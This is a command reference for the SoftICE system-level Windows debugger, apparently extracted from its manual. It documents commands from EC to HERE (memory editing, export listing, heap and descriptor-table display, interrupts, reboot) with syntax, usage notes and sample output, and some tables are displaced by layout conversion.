If you do not specify a size, the last size used is assumed.

Enter valid floating point numbers in the following format:
[leading sign] decimal-digits . decimal-digits E sign exponent
Example: A valid floating point number is -1.123456 E-19

%Example
The following command moves the cursor into the Data window for editing. The starting
address in the Data window is at DS:1000h, and the data displays in hexadecimal byte format
as well as in ASCII. The initial edit mode is hexadecimal.
EB ds:1000
Value Description
B Byte
W Wo rd
D Double Word
S Short Real
L Long Real
T 10-Byte Real

The next command moves the null terminated ASCII string 'Test String' into memory at
location DS:1000h.
EB ds:1000 'Test String',0

This command moves the short real number 3.1415 into the memory location DS:1000h.
ES ds:1000 3.1415

:EC
^EC WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^F6
^Enter or exit the Code window.

%Syntax
EC

%Use
The EC command toggles the cursor between the Code window and the Command window:
. If the cursor is in the Command window, it moves to the Code window.

. If the cursor is in the Code window, it moves to the Command window.
. If the Code window is not visible when the command is entered, it is made visible.

When the cursor is in the Code window, several options become available that make
debugging much easier. These options are as follows:
. Set point-and-shoot breakpoints
Set these with the BPX command. If you do not specify parameters with the BPX
command (default key F9), an execution breakpoint is set at the location of the cursor
position in the Code window.
. Go to cursor line
Set a temporary breakpoint at the cursor line and begin executing with the HERE
command (default key F7).
. Scroll the Code window
The scrolling keys (UpArrow, DownArrow, PageUp and PageDn) are redefined while the
cursor is in the Code window:
UpArrow:
DownArrow:
PageUp:
PageDn:

Source Mode Only
Scroll the Code window from the Command window using the CTRL key with one of the
previously mentioned cursor keys. The following keys also have special meaning:
. CTRL-Home: Moves to line 1 of current source file.
. CTRL-End: Moves to the last line of the current source file.
Note: The previous keys only work for source display, not for disassembled instructions.
. CTRL-RightArrow: Horizontal scroll of source code right.
. CTRL-LeftArrow: Horizontal scroll of source code left.

:EXIT.
^EXIT Windows 3.1 FlowControl
^Force an exit of the current DOS or Windows program.

%Syntax
EXIT

%Use
The EXIT command attempts to abort the current DOS or Windows program by forcing a
DOS exit function (INT 21h, function 4Ch). This command only works if DOS is in a state
where it is able to accept the exit function call. If this call is made from certain interrupt
routines, or other times when DOS is not ready, the system may behave unpredictably. Only
use this call when SoftICE pops up in VM mode or 16- or 32-bit protected mode running at
ring 3. In 32-bit, ring 0 protected mode code, an error displays.

%Caution
Use the EXIT command with care. Because SoftICE can be popped up at any time, a
situation can occur where DOS is not in a state to accept an exit function call. Also, the EXIT
command does not have any program-specific resetting.

Example: The EXIT command does not reset the video mode or interrupt vectors. For
Windows programs, the EXIT command does not free resources.
If running under WIN32s, the EXIT command sometimes causes WIN32s to pop up with an
unhandled exception occurred dialog box. Press OK to terminate the application.

For Windows 95 and Windows NT
EXIT is no longer supported.

%Example
Causes the current DOS or Windows program to exit.
EXIT

:EXP.
^EXP Windows 3.1, Windows 95, Windows NT Symbol/Source
^Display export symbols from DLLs.

%Syntax
EXP [[module!][partial-name]] | [!]

module! Display exports from the specified module only.
partial-name Export symbol or the first few characters of the name of an export
symbol name. The ? character can be used as a wildcard character in
place of any character in the export name.
! Display list of modules for which SoftICE has exports loaded.

%Use
Use the EXP command to show exports from Windows DLLs, Windows NT drivers, and 16-
bit drivers (.DRV extension) for which SoftICE has exports loaded. To tell SoftICE which
DLLs and drivers to load, set the SoftICE initialization settings for Exports in Symbol Loader.
The module and name parameters can be used to selectively display exports only from the
specified module, and/or exports that match the characters and wildcards in the name
parameter. When exports are displayed, the module name is printed first on a line by itself,
and the export names are printed below it, along with their addresses.

Note: Since DLLs and drivers run in protected mode, the addresses are protected mode
addresses.

This command is valid for both 16-bit and 32-bit DLLs with 16-bit exports being listed first.
For Windows 3.1

SoftICE automatically loads exports for KERNEL, USER, and GDI.

For Windows 95
SoftICE automatically loads exports for KERNEL, USER, and GDI. The SoftICE Loader can
dynamically load 32-bit exported symbols.

Windows NT
SoftICE automatically loads exports for KERNEL32, USER32, and GDI32. The SoftICE
loader can dynamically load 32-bit exported symbols.

%Example
 The following example of the EXP command being used to display all exports that begin with
 the string DELETE: The output shows that KERNEL.DLL has 3 exports matching the
 string: DELETEATOM, DELETEFILE, and DELETEPATHNAME. These routines are
 located at 127:E3, 11F:7D4 and 127:345A, respectively. Following the exports from
 KERNEL are the exports from USER and GDI, and following these begin the 32-bit exports.

```
.:EXP delete
KERNEL
0127:00E3 DELETEATOM 011F:07D4 DELETEFILE
0127:345A DELETEPATHNAME
USER
176F:0C88 DELETEMENU
GDI
0527:0000 DELETEMETAFILE 04B7:211C DELETESPOOLPAGE
047F:55FD DELETEDC 054F:0192 DELETEPQ
047F:564B DELETEOBJECT 04B7:226E DELETEJOB
0587:A22E DELETEENHMETAFILE
KERNEL32
0137:BFF97E9B DeleteAtom 0137:BFF88636 DeleteCriticalSection
0137:BFF9DC5A DeleteFileA 0137:BFFA4C49 DeleteFileW
USER32
0137:BFF62228 DeleteMenu
GDI32
0137:BFF3248F DeleteColorSpace 0137:BFF32497 DeleteDC
0137:BFF3248B DeleteEnhMetaFile 0137:BFF31111 DeleteMetaFile
0137:BFF3249F DeleteObject
```

 In the following example, the ! character is used to narrow EXP's output to only those
 modules which are listed to the left of the !. In the case where no DLL or driver is specified
 before the !, SoftICE simply dumps the names of all the modules for which it has exports
 loaded.

```
.:EXP !
KERNEL
USER
GDI
KERNEL32
USER32
GDI32
```

 The next example is of the EXP command being used to list all exports within USER32.DLL
 that start with ``IS.'' The ! character is used here to differentiate the module name from the
 name qualifier.

```
.:EXP user32!is
USER32
0137:BFF64290 IsCharAlphaA
0137:BFF64256 IsCharAlphaNumericA
0137:BFF61014 IsCharAlphaNumericW
0137:BFF61014 IsCharAlphaW
0137:BFF641E8 IsCharLowerA
0137:BFF61014 IsCharLowerW
0137:BFF64222 IsCharUpperA
0137:BFF61014 IsCharUpperW
0137:BFF61F6A IsChild
0137:BFF6480F IsClipboardFormatAvailable
0137:BFF64D7C IsDialogMessage
```

0137:BFF64D7C IsDialogMessageA
0137:BFF6101D IsDialogMessageW
0137:BFF618A4 IsDlgButtonChecked
0137:BFF62F12 IsHungThread
0137:BFF64697 IsIconic
0137:BFF623A5 IsMenu
0137:BFF649B9 IsRectEmpty
0137:BFF644BF IsWindow
0137:BFF646E1 IsWindowEnabled
0137:BFF638C4 IsWindowUnicode
0137:BFF64706 IsWindowVisible
0137:BFF646BC IsZoomed
See Also SYMBOL, TABLE

:F
^F Windows 3.1, Windows 95, Windows NT Miscellaneous
^Fill memory with data.

%Syntax
F address l length data-list

length Length in bytes.
data-list List of bytes or quoted strings separated by commas or spaces. A quoted string can be enclosed with single quotes or double quotes.

%Use
Memory is filled with the series of bytes or characters specified in the data-list. Memory is
filled starting at the specified address and continues for the specified length. If the data-list
length is less than the specified length, the data-list is repeated as many times as necessary.

%Example
Fills memory starting at location DS:8000h for a length of 100h bytes with the string 'Test'.
The string 'Test' is repeated until the fill length is exhausted.
F ds:8000 l 100 'test'

:FAULTS
^FAULTS Windows 3.1, Windows 95, Windows NT ModeControl
^Turn fault trapping on or off.

%Syntax
FAULTS [on | off]

%Use
Use the FAULTS command to turn SoftICE processor fault trapping on or off.

%Example
Turns off fault trapping in SoftICE.
FAULTS off

:FIBER
^FIBER Windows NT SystemInformation
^Dump a fiber data structure.

%Syntax
FIBER [address]

%Use
Use the FIBER command to dump a fiber data structure returned by CreateFiber(). If you do

not specify an address, FIBER dumps the fiber data associated with the current thread.
SoftICE provides a stack trace after the dump.

%Example
The following example dumps the fiber data associated with the current thread:
.:FIBER

Fiber state for the current thread:
User data:004565D0 SEH Ptr:01C2FFA8
Stack top:01C30000 Stack bottom:01C2F000 Stack limit:01B30000
EBX=00000001 ESI=005862B8 EDI=004565D0 EBP=01C2FF88 ESP=01C2FC4C
EIP=63011BAF a.k.a. WININET!.text+00010BAF
=> at 001B:00579720

:FILE
^FILE Windows 3.1, Windows 95, Windows NT Symbol/Source
^Change or display the current source file.

%Syntax
FILE [[*]file-name]

%Use
The FILE command is often useful when setting a breakpoint on a line that has no associated
symbol. Use FILE to bring the desired file into the Code window, use the SS command to
locate the specific line, move the cursor to the specific line, then enter BPX or press F9 to set
the breakpoint.
. If you specify file-name, that file becomes the current file and the start of the file displays
in the Code window.
. If you do not specify file-name, the name of the current source file, if any, displays.
. If you specify the * (asterisk), all files in the current symbol table display.

Only source files that are loaded into memory with Symbol Loader or are pre-loaded at
initialization are available with the FILE command.

For Windows 95 and Windows NT
Specifying the FILE file-name command switches address contexts within SoftICE, if the
current symbol table has an associated address context.

%Example
If main.c is loaded with the SoftICE Loader, this command displays it in the Code window
starting with line 1.
FILE main.c

:FKEY
^FKEY Windows 3.1, Windows 95, Windows NT Customization
^Show and edit the function key assignments.

%Syntax
FKEY [function-key string]

function-key
string Consists of any valid SoftICE commands and the special characters
caret (^) and semicolon (;). Place a caret (^) at the beginning of a

command to make the command invisible. Place a semicolon (;) in the
string in place of Enter.

%Use
Use the FKEY command to assign a string of one or more commands to a function-key. If you
do not specify parameters, the current function-key assignments display.

Hint: You can also edit function key assignments by modifying the SoftICE initialization
settings for Keyboard Mappings in Symbol Loader. Refer to the Using SoftICE manual
for more information about customizing SoftICE.

To unassign a specified function-key, use the FKEY command with the parameters
function_key_name followed by null_string.

Use carriage return symbols in a function-key assignment string to assign a function-key a
series of commands. A carriage return is represented by a semi-colon (;).

If you put a caret ``^'' or press Shift-6 in front of a command name, the subsequent command
becomes invisible. The command functions as normal, but all information that normally
displays in the Command window (excluding error messages) is suppressed. The invisible
mode is useful when a command changes information in a window (Code, Register, or Data),
but you do not want to clutter the Command window.

Key___________Description
F1 - F12 Unshifted function key
SF1 - SF12 Shifted function key
CF1 - CF12 Control key plus function key
AF1 - AF12 Alternate key plus function key

SoftICE implements the function-keys by inserting the entire string into its keyboard buffer.
The function-keys can therefore be used anyplace where a valid command can be typed. If
you want a function key assignment to be in effect every time you use SoftICE, pre-initialize
the keyboard mappings within your SOFTICE configuration settings. Refer to Chapter 8,
``Customizing SoftICE'' in the Using SoftICE guide.

%Example
This example assigns the toggle Register window command to the F2 function-key. The caret
``^'' makes the function invisible, and the semicolon ``;'' ends the function with a carriage
return. After you enter this command, press the F2 key to toggle the Register window on or
off.
FKEY f2 ^wr;
The next example shows that multiple commands can be assigned to a single function and
that partial commands can be assigned for the user to complete. After you enter this
command, pressing the Ctrl F1 key sequence causes the program to execute until location

CS:8028F000h is reached, displays the stack contents, and starts the U command for the user
to complete.
FKEY cf1 g cs:8028f000;d ss:esp;u cs:eip+

After you enter this example, pressing the F1 key makes the Data window three lines long and
dumps data starting at 100h in the segment currently displayed in the Data window.
FKEY f1 wd 3;d 100;
The following example toggles the Register window, and creates a Locals window of length 8
and a Code window of length 10.
FKEY f1 wr;wl 8;wc 10;

:FOBJ
^FOBJ Windows NT SystemInformation
^Display information about a file object.

%Syntax
FOBJ [fobj-address]
fobj-address Address of the start of the file object structure to be displayed.

%Use
The FOBJ command displays the contents of kernel file objects. The command checks for the
validity of the specified file object by insuring that the device object referenced by it is a
legitimate device object.

The fields shown by SoftICE are not documented in their entirety here, as adequate
information about them can be found in NTDDK.H in the Windows NT DDK. A few fields
deserve special mention, however, because device driver writers find them particularly useful:
DeviceObject
This field is a pointer to the device object associated with the file
object.
Vpb
This is a pointer to the volume parameter block associated with the
file object (if any).
FSContext1 and
FSContext2
These are file system driver (FSD) private fields that can serve as keys
to aid the driver in determining what internal FSD data is associated
with the object.

Other fields of interest, whose purpose should be fairly obvious, include the access protection
booleans, the Flags, the FileName and the CurrentByteOffset.

^%Example
The following example shows the FOBJ command's output:
.:FOBJ fd877230
DeviceObject * : FD881570
Vpb * : 00000000
FsContext * : FD877188
FsContext2 * : FD877C48
SecObjPointer * : FD8771B4
PrivateCacheMap * : 00000001
FinalStatus : 00000000
RelatedFileObj * : 00000000

LockOperation : False
DeletePending : False
ReadAccess : True
WriteAccess : True
DeleteAccess : False
SharedRead : True
SharedWrite : True
SharedDelete : False
Flags : 00040002 FO_SYNCHRONOUS_IO | FO_HANDLE_CREATED
FileName : \G:\SS\data\status.dat
CurrentByteOffset : 00
Waiters : 00000000
Busy : 00000000
LastLock* : 00000000
&Lock : FD877294
&Event : FD8772A4
ComplContext* : 00000000

^:FLASH
^FLASH Windows 3.1, Windows 95, Windows NT WindowControl
^Restore the Windows screen during P and T commands.

%Syntax
FLASH [on | off]

%Use
Use the FLASH command to specify whether the Windows screen restores during any T
(trace) and P (step over) commands. If you specify that the Windows screen is to be restored,
it is restored for the brief time period that the P or T command is executing. This feature is
needed to debug sections of code that access video memory directly.
If the routine being called writes to the Windows screen and if the P command executes across
a call, the screen restores. When debugging protected mode applications such as VxDs or
Windows applications with FLASH off, this is generally not the case. SoftICE restores the
screen only if the display driver is called before the call is completed.

If you do not specify a parameter, the current state of FLASH displays.
The default is FLASH OFF.

%Example
This command turns on FLASH mode. The Windows screen restores during any subsequent
P or T commands.
FLASH on

:FORMAT
^FORMAT WINDOWS 3.1, WINDOWS 95, WINDOWS NT WINDOWCONTROL
^Shift-F3
^Change the format of the Data window.

%Syntax
FORMAT

%Use
Use the FORMAT command to change the display format in the currently displayed Data

window. Change the formats in the order byte, word, dword, short real, long real, 10-byte
real, and then starting back at byte. This command is most useful when assigned to a function
key. The default function key assignment is Shift-F3. The Shift-F3 is also supported when
editing in the Data window.

%Example
Changes the Data window to the next data format.
FORMAT

:G
^G Windows 3.1, Windows 95, Windows NT FlowControl
^Go to an address.

%Syntax
G [=start-address] [break-address]

=start-address Any expression that resolves to a valid address is acceptable.
break-address Any expression that resolves to a valid address is acceptable.

%Use
The G command exits from SoftICE. If you specify break-address, a single one-time
execution breakpoint is set on that address. In addition, all sticky breakpoints are armed.
Execution begins at the current CS:EIP unless you supply the start-address parameter. If you
supply the start-address parameter, execution begins at start-address. Execution continues
until the break-address is encountered, the SoftICE pop-up key sequence is used, or a sticky
breakpoint is triggered. When SoftICE pops up, for any reason, the one-time execution
breakpoint is cleared.

The break-address must be the first byte of an instruction opcode.

The G command without parameters behaves the same as the X command.

If the Register window is visible when SoftICE pops up, all registers that have been altered
since the G command was issued are displayed with the bold video attribute.

For Windows 3.1
The non-sticky execution breakpoint uses an INT 3 style breakpoint.

For Windows 95 and Windows NT
The non-sticky execution breakpoint uses debug registers unless none are available. If none
are available, it uses INT 3.

%Example
This command sets a one-time breakpoint at address CS:80123456h.
G 80123456

:GDT.
^GDT Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Global Descriptor Table.

%Syntax
 GDT [selector]

 selector Starting GDT selector to display

%Use
 The GDT command displays the contents of the Global Descriptor Table. If you specify an
 optional selector, only information on that selector is listed. If the specified selector is an LDT
 selector (bit 2 is a 1), SoftICE automatically displays information from the LDT, rather than
 the GDT.

%Output
 The base linear address and limit of the GDT is shown at the top of the GDT command's
 output. Each subsequent line of the output contains the following information:
 selector value Lower two bits of this value reflects the descriptor privilege level.
 selector type One of the following:

 Type________Description
 Code16 16-bit code selector
 Data16 16-bit data selector
 Code32 32-bit code selector
 Data32 32-bit data selector
 LDT Local Descriptor Table selector
 TSS32 32-bit Task State Segment selector
 TSS16 16-bit Task State Segment selector
 CallG32 32-bit Call Gate selector
 CallG16 16-bit Call Gate selector
 TaskG32 32-bit Task Gate selector
 TaskG16 16-bit Task Gate selector
 TrapG32 32-bit Trap Gate selector

 selector base Linear base address of the selector.
 selector limit Size of selector's segment.
 selector DPL Selector's descriptor privilege level (DPL), which is either 0, 1, 2 or 3.
 present bit P or NP, indicating whether the selector is present or not present.
 segment attributes One of the following:

%Example
 The following command shows abbreviated output from the GDT command.
 .:GDT
 Sel. Type Base Limit DPL Attributes
 GDTbase=C1398000 Limit=0FFF
 0008 Code16 00017370 0000FFFF 0 P RE
 0010 Data16 00017370 0000FFFF 0 P RW
 0018 TSS32 C000AEBC 00002069 0 P B
 0020 Data16 C1398000 00000FFF 0 P RW
 0028 Code32 00000000 FFFFFFFF 0 P RE
 0030 Data32 00000000 FFFFFFFF 0 P RW
 003B Code16 C33E9800 000007FF 3 P RE
 0043 Data16 00000400 000002FF 3 P RW
 0048 Code16 00013B10 0000FFFF 0 P RE
 0050 Data16 00013B10 0000FFFF 0 P RW
 0058 Reserved 00000000 0000FFFF 0 NP
 0060 Reserved 00000000 0000FFFF 0 NP
 0068 TSS32 C0015DE8 00000068 0 P
 TrapG16 16-bit Trap Gate selector

IntG32 32-bit Interrupt Gate selector
IntG16 16-bit Interrupt Gate selector
Reserved Reserved selector

Value____________Description
RW   Data selector is readable and writable.
RO   Data selector is read only.
RE   Code selector is readable and executable.
EO   Code selector is execute only.
B   TSS's busy bit is set.
ED   Expand down data selector.
Type   Description

:GENINT
^GENINT Windows 3.1, Windows 95, Windows NT FlowControl
^Force an interrupt to occur.

%Syntax
GENINT [nmi | int1 | int3 | interrupt-number]

interrupt-number For Windows 3.1 and Windows 95: Valid interrupt number between 0 and 5Fh.

For Windows NT: Valid interrupt number between 0 and FFh.

%Use
The GENINT command forces an interrupt to occur. Use this function to hand off control to
another debugger you are using with SoftICE. Also use it to test interrupt routines.
The GENINT command simulates the processing sequence of a hardware interrupt or an
INT instruction. It vectors control through the current IDT entry for the specified interrupt
number.

Warning: Ensure that there is a valid interrupt handler before using this command. SoftICE
does not know if there is a handler installed. Your machine will most likely crash if
there is not one.

GENINT cannot be used to simulate a processor fault that pushes an exception code. For
example, GENINT cannot simulate a general protection fault.

%Example
The following command forces a non-maskable interrupt. It gives control back to CodeView
for DOS, if you use SoftICE as an assistant to CodeView for DOS.
GENINT nmi

If using CodeView for Windows, use the command:
GENINT 0

For other debuggers, experiment with interrupt-numbers 0, 1, 2 and 3.

When the command I3HERE==ON, and you are using a level -3 debugger, such as
BoundsChecker, SoftICE traps on any INT 3 breakpoints installed by the level-3 debugger.
When this happens, set I3HERE==OFF, and use the GENINT command to reactivate the

breakpoint. This returns control to the level -3 debugger, and SoftICE does not trap
subsequent INT 3s.
I3HERE off
GENINT 3

:H
^H WINDOWS 3.1, WINDOWS 95, WINDOWS NT MISCELLANEOUS
^F1
^Display help information.

%Syntax
For Windows 3.1
H [command | expression]

For Windows 95 and Windows NT
H [command]

%Use For Windows 3.1
Under Windows 3.1, the parameter you supply determines whether help is displayed or an
expression is evaluated. If you specify a command, help displays detailed information about
the command, including the command syntax and an example. If you specify an expression,
the expression is evaluated, and the result is displayed in hexadecimal, decimal, signed decimal
(only if < 0), and ASCII.

For Windows 95 and Windows NT
Under Windows 95 and Windows NT, the H command displays help on SoftICE
commands. (Refer to ? on page 3 for information about evaluating expressions under
Windows 95 and Windows NT.) To display general help on all the SoftICE commands, enter
the H command with no parameters. To see detailed information about a specific command,
use the H command followed by the name of the command on which you want help. Help
displays a description of the command, the command syntax, and an example.

%Example
The following example displays information about the ALTKEY command:
.:H altkey
Set key sequence to invoke window
ALTKEY [ALT letter | CTRL letter]
ex: ALTKEY ALT D

:HBOOT
^HBOOT Windows 3.1, Windows 95, Windows NT FlowControl
^Do a hard system boot (total reset).

%Syntax
HBOOT

%Use
The HBOOT command resets the computer system. SoftICE is not retained in the reset
process. HBOOT is sufficient unless an adapter card requires a power-on reset. In those rare
cases, the machine power must be recycled.

HBOOT performs the same level of system reset as pressing Ctrl-Alt-Delete when not in
SoftICE.

%Example
To make the system reboot, use this command:
HBOOT

:HEAP
^HEAP Windows 3.1, Windows 95, Windows NT SystemInformation
^Display the Windows global heap.

%Syntax
HEAP -L [free | module-name | selector]

-L Display only global heap entries that contain a local heap.
module-name Name of the module.
selector LDT selector.

%Use
For Windows 95
For 16-bit modules, the HEAP command works the same as it does under Windows 3.1.

For Windows NT
For 16-bit modules, the HEAP command works the same as it does under Windows 3.1, but
is process-specific. You must be in a NTVDM process that contains a WOW (Windows on Windows) box.

For Windows 3.1
The HEAP command displays the Windows global heap in the Command window.
. If you do not specify parameters, the entire global heap displays.
. If you specify FREE, only heap entries marked as FREE display.
. If you specify the module name, only heap entries belonging to the module display.
. If you specify an LDT selector, only a single heap entry corresponding to the selector displays.

At the end of the listing, the total amount of memory used by the heap entries that displayed
is shown. If the current CS:EIP belongs to one of the heap entries, that entry displays with the
bold video attribute.

If there is no current LDT, the HEAP command is unable to display heap information.

%Output
For each heap entry the following information displays:
selector or handle In Windows 3.1, this is almost the same thing. Heap selectors all have
a dpl of 3 while the corresponding handle is the same selector with a
dpl of 2. For example, if the handle was 106h the selector would be
107h. Use either of these in an expression.
address 32-bit flat virtual address.
size Size of the heap entry in bytes.
module name Module name of the owner of the heap entry.
type Type of entry. One of the following:

Additional Type Information
If the heap entry is a code or a data segment, the segment number

from the .EXE file displays. If the heap entry is a resource, one of the following resource types may display:
Type Description
Code Non-discardable code segment
Code D Discardable code segment
Data Data segment
ModuleDB Module data base segment
TaskDB Task data base segment
BurgerM Burger Master (The heap itself)
Alloc Allocated memory
Resource Windows Resource
UserDef Icon String Accel IconGrp
Cursor Menu FontGrp ErrTable NameTabl
Bitmap Dialog Font CursGrp

%Example
To display all heap entries belonging to the KERNEL module, use the following command:
HEAP kernel

Han/Sel Address Length Owner Type Seg/Rsr
00F5 000311C0 000004C0 KERNEL ModuleDB
00FD 00031680 00007600 KERNEL Code 01
0575 00054220 00003640 KERNEL Alloc
0106 00083E40 00002660 KERNEL Code D 02
010E 805089A0 00001300 KERNEL Code D 03
0096 80520440 00000C20 KERNEL Alloc
Total Memory:62K

:HEAP32
^HEAP32 Windows 95 SystemInformation
^Display the Windows global heap.

%Syntax
HEAP32 [hheap32 | task-name]]

hheap32 Heap handle returned from HeapCreate.
task-name Name of any 32-bit task.

%Use
For Windows 95
The HEAP32 command displays heaps for a process.

Note: For 16-bit modules, use the HEAP32 on page 100.

The HEAP32 command displays the following:
. KERNEL32 default system heap.
. Private heaps of processes created through the HeapCreate( ) function.
. Two Ring-0 heaps created by VMM. The first one displayed is the pagelocked heap, and
the second is the pagetable heap.
. One Ring-0 heap for every existing virtual machine.

If you provide a process name, SoftICE displays the entire default process heap for that
process, and the address context automatically changes to that of the process. To view a
nondefault heap for a process, specify the heap base address instead of the process name.
The debug versions of Windows 95 provide extra debugging information for each heap

element within a heap. To see this information, you must be running the appropriate debug
version, as follows:
. For KERNEL32 Ring-3 heaps, have the SDK debug version installed.
. For VMM Ring-0 heaps, have the DDK debug version of VMM installed.

%Output
For each heap entry, the following information displays:
HeapBase Address where the heap begins.

MaxSize
Current maximum size the heap can grow without creating a new segment.
Committed
Number of kilobytes of committed memory that are currently present in physical memory.
Segments
Number of segments in the heap. Each time the heap grows past the current maximum size, a new heap segment is created.
Type
Owner
Name of the process that owns the heap.

When displaying an individual 32-bit heap, the following information displays:
With the appropriate debug versions of the SDK and DDK, the following extra information
appears for each heap element:

Heap	Type	Description
Private	Ring 3	heap created by an application process.
System	Ring 3	default heap for KERNEL32.
Ring0	Ring 0	heap created by VMM.
VM##	Heap	created by VMM for a specific Virtual

Machine to hold data structures specific to that VM.

Address
Address of the heap element
Size
Size in bytes of the heap element
Free
If the heap element is a free block, the word FREE appears; otherwise, the field is blank.
Heap
Element Description
EIP
EIP address of the code that allocated the heap element.
TID
VMM thread-id of the allocating thread
Owner
Nearest symbol to the EIP address

%Example
To display all 32-bit heaps, use the command:
HEAP32

To display all heap entries for Exchng32, use the command:
HEAP32 exchng32

HeapBase Max Size Commit-
ted

Seg-
ments
Type Owner
00EA0000 1024K 8K 1 Private Mapisp32
00DA0000 1024K 8K 1 Private Mapisp32
00CA0000 1024K 8K 1 Private Mapisp32
00960000 1024K 8K 1 Private Mapisp32
00860000 1024K 8K 1 Private Mapisp32
Heap: 00400000 Max Size: 1028K Committed: 12K Segments: 1
Address Size
00400078 000004E4
00400560 00000098
004005FC 00000054
00400654 000000A4
004006FC 00000010
00400710 00000014 Free

:HEAP32 (NT)
^HEAP32 Windows NT SystemInformation
^Display the Windows heap.

%Syntax
HEAP32 [[-w -x -s -v -b -trace] [heap | heap-entry | process-type]]

-w Walk the heap, showing information about each heap entry.
-x Show an extended summary of a 32-bit heap.
-s Provide a segment summary for a heap.
-v Validate a heap or heap-entry.
-b Show base address and sizes of heap entry headers.
-trace Display a heap trace buffer.
heap 32-bit heap handle.
heap-entry Heap allocated block returned by HeapAlloc or HeapRealloc.
process-type Process name, process-id, or process handle (KPEB).

%Use
All HEAP32 options and parameters are optional. If you do not specify options or
parameters, a basic heap summary displays for every heap in every process. If a parameter is
specified without options, a summary will be performed for the heap-entry, heap, or in the
case of a process-type, a summary for each heap within the process.

Note: All 16-bit HEAP functionality still works. Refer to HEAP on page 94 for Windows
3.1. This information only applies to HEAP32.

The -Walk option walks a heap, showing the state of each heap-entry on a heap. The Walk
option is the default option if you specify a heap handle without other options.
The -eXtended option displays a detailed description of all useful information about a heap,
including a segment summary and a list of any Virtually Allocated Blocks (VABs) or extra
UnCommitted Range (UCR) tables that may have been created for the heap.

The -Segment option displays a simple summary for the heap, and each of its heap-segments.
Segments are created to map the linear address space for a region of a heap. A heap can be
composed of up to sixteen segments.

The -Validate option is an extremely powerful option, as it completely validates a single heap-
entry, or a heap and all of its components, including segments, heap-entries, and VABs. In
most cases, the heap validation is equivalent to or stricter than the Win32 API Heap
functions. The -Validate option is the only option that takes a heap-entry parameter as input.
All other options work with heap handles or process-types. If the heap is valid, an appropriate
message displays. If the validation fails, one of the following error messages appears:

. For a block whose header is corrupt:
  Generic Error: 00140BD0 is not a heap entry, or it is corrupt
  Specific Error: 00140BD0: Backward link for Block is invalid
. For a block whose guard-bytes have been overwritten:
  Allocated block: 00140BD0: Block BUSY TAIL is corrupt
  Note: If you run your application under a debugger, for example, BoundsChecker or
  Visual C++, each allocated block has guard-bytes, and each free block is marked
  with a pattern so that random overwrites can be detected.
. For a free block that has been written to, subsequent to being freed:
  Free block: 00140E50: Free block failed FREE CHECK at 141E70

Use the -Base option to change the mode in which addresses and heap entry sizes display.
Under normal operation, all output shows the address of the heap-entry data, and the size of
the user data for that block. When you specify the -Base option, all output shows the address
of the heap-entry header, which precedes each heap-entry, and the size of the full heap-entry,
including the heap-entry header and any extra data allocated for guard-bytes, or to satisfy
alignment requirements. Under most circumstances you will not want to specify base
addressing unless you are trying to walk a heap or its entries manually.

When you use the -Base option, the base address for each heap-entry is 8 bytes less than when
-Base is not specified. This happens because the heap-entry header precedes the actual heap-
entry by 8 bytes. Secondly, the size for the allocated blocks is larger because of the additional 8
bytes for the heap-entry header, guard-bytes, and, if necessary, any extra bytes needed for
proper alignment. The output from the -Base option is useful for manually navigating
between adjacent heap entries, or checking for memory overruns between the end of the heap-
entry data and any unused space prior to the guard-bytes, which are always allocated as the
last two DWORDs of the heap entry.

Note: The -Base option has no effect on input parameters. Heap-entry addresses are always
assumed to be the address of the heap-entry data.

Use the -TRACE option to display the contexts of a heap trace buffer which record actions

that occur within a heap. Heap trace buffers are optional and are generally not created. To
enable tracing in the Win32 API, specify the HEAP_CREATE_ENABLE_TRACING flag as
one of the flags to ntdll!RtlCreateHeap. You cannot use this option with
Kernel32!HeapCreate( ) because it strips out all debug-flags before calling
ntdll!RtlCreateHeap. You must also be running the application under a level-3 debugger, for
example, BoundsChecker or the Visual C++ debugger, so that the Win32 heap debugging
options will be enabled.

Any time a process-type is passed as a parameter, any and all options are performed for each
heap within the process.

The HEAP32 command and all of its options work on either a single specified heap handle or
ALL the heaps for an entire process.

%Example: This command performs a heap validation for all the heaps in the Test32 process:
HEAP 32 -v test32

When using bare addresses, for example, 0x140000, the current context is assumed.%Use the
ADDR command to change to the appropriate context.

For Not Present Memory, due to the nature of operating systems that use paging to
implement virtual memory, in some cases, the actual physical memory that backs a particular
linear address will not be present in memory. To be useful within this restriction, the HEAP32
command detects, avoids, and, where possible, continues to operate without the need for not
present pages. In all cases where not present memory prevents the HEAP32 command from
performing its work, you are notified of that condition. When possible the HEAP32
command skips not present pages and continues processing at a point where physical memory
is present. Because not present memory prevents the HEAP32 command from performing a
full validation of a heap, the validation routines indicate success, but let you know that only a
partial validation could be performed.

%Output
Base
Base address of the heap, that is, the heap handle.
Id Heap ID.
Cmmt/Psnt/Rsvd Amount of committed, present, and reserved memory used for heap
entries.
Segments
Number of heap segments within the heap.
Flags
Heap flags, for example, HEAP_GROWABLE (0x02).
Process
Process that owns the heap.
If you specify the -W switch, the following information displays:
Base
This is the address of the heap entry.

Type____Type of the heap entry.
Size   Size of the heap-entry. Typically, this is the number of bytes available
        to the application for data storage.
Seg#   Heap segment in which the heap-entry is allocated.
Flags   Heap entry flags.
If you specify the -S switch, the following additional information displays:
Seg#   Segment number of the heap segment.
Segment Range Linear address range that this segment maps to.
        Cmmt/Psnt/Rsvd Amount of committed, present, and reserved memory for this heap
        segment.
Max UCR Maximum uncommitted range of linear memory. This value specifies
        the largest block that can be created within this heap segment.

Heap_____Entry Description
HEAP   Represents the heap header.
SEGMENT Represents a heap segment.
ALLOC   Active heap entry
FREE   Inactive heap entry
VABLOCK Virtually allocated block (VAB)

%Example
HEAP32
Base Id Cmmt/Psnt/Rsvd Segments Flags Process
00230000 01 0013/0013/00ED 1 00000002 csrss
7F6F0000 02 0008/0008/00F8 1 00007008 csrss
00400000 03 001C/001A/0024 1 00004003 csrss
7F5D0000 04 0005/0005/001B 1 00006009 csrss
00460000 05 00F6/00F1/001A 2 00003002 csrss
005F0000 06 000B/000B/0005 1 00005002 csrss
7F2D0000 07 002D/002D/02D3 1 00006009 csrss
02080000 08 0003/0003/0001 1 00001062 csrss
023C0000 09 0016/0014/00EA 1 00001001 csrss

:HERE
^HERE WINDOWS 3.1, WINDOWS 95, WINDOWS NT FLOWCONTROL
^F7
^Go to the current cursor line.

%Syntax
HERE

%Use
The HERE command executes until the program reaches the current cursor line. HERE is
only available when the cursor is in the Code window. If the Code window is not visible or
the cursor is not in the Code window, use the G command instead. Use the EC command
(default key F6), if you want to move the cursor into the Code window.

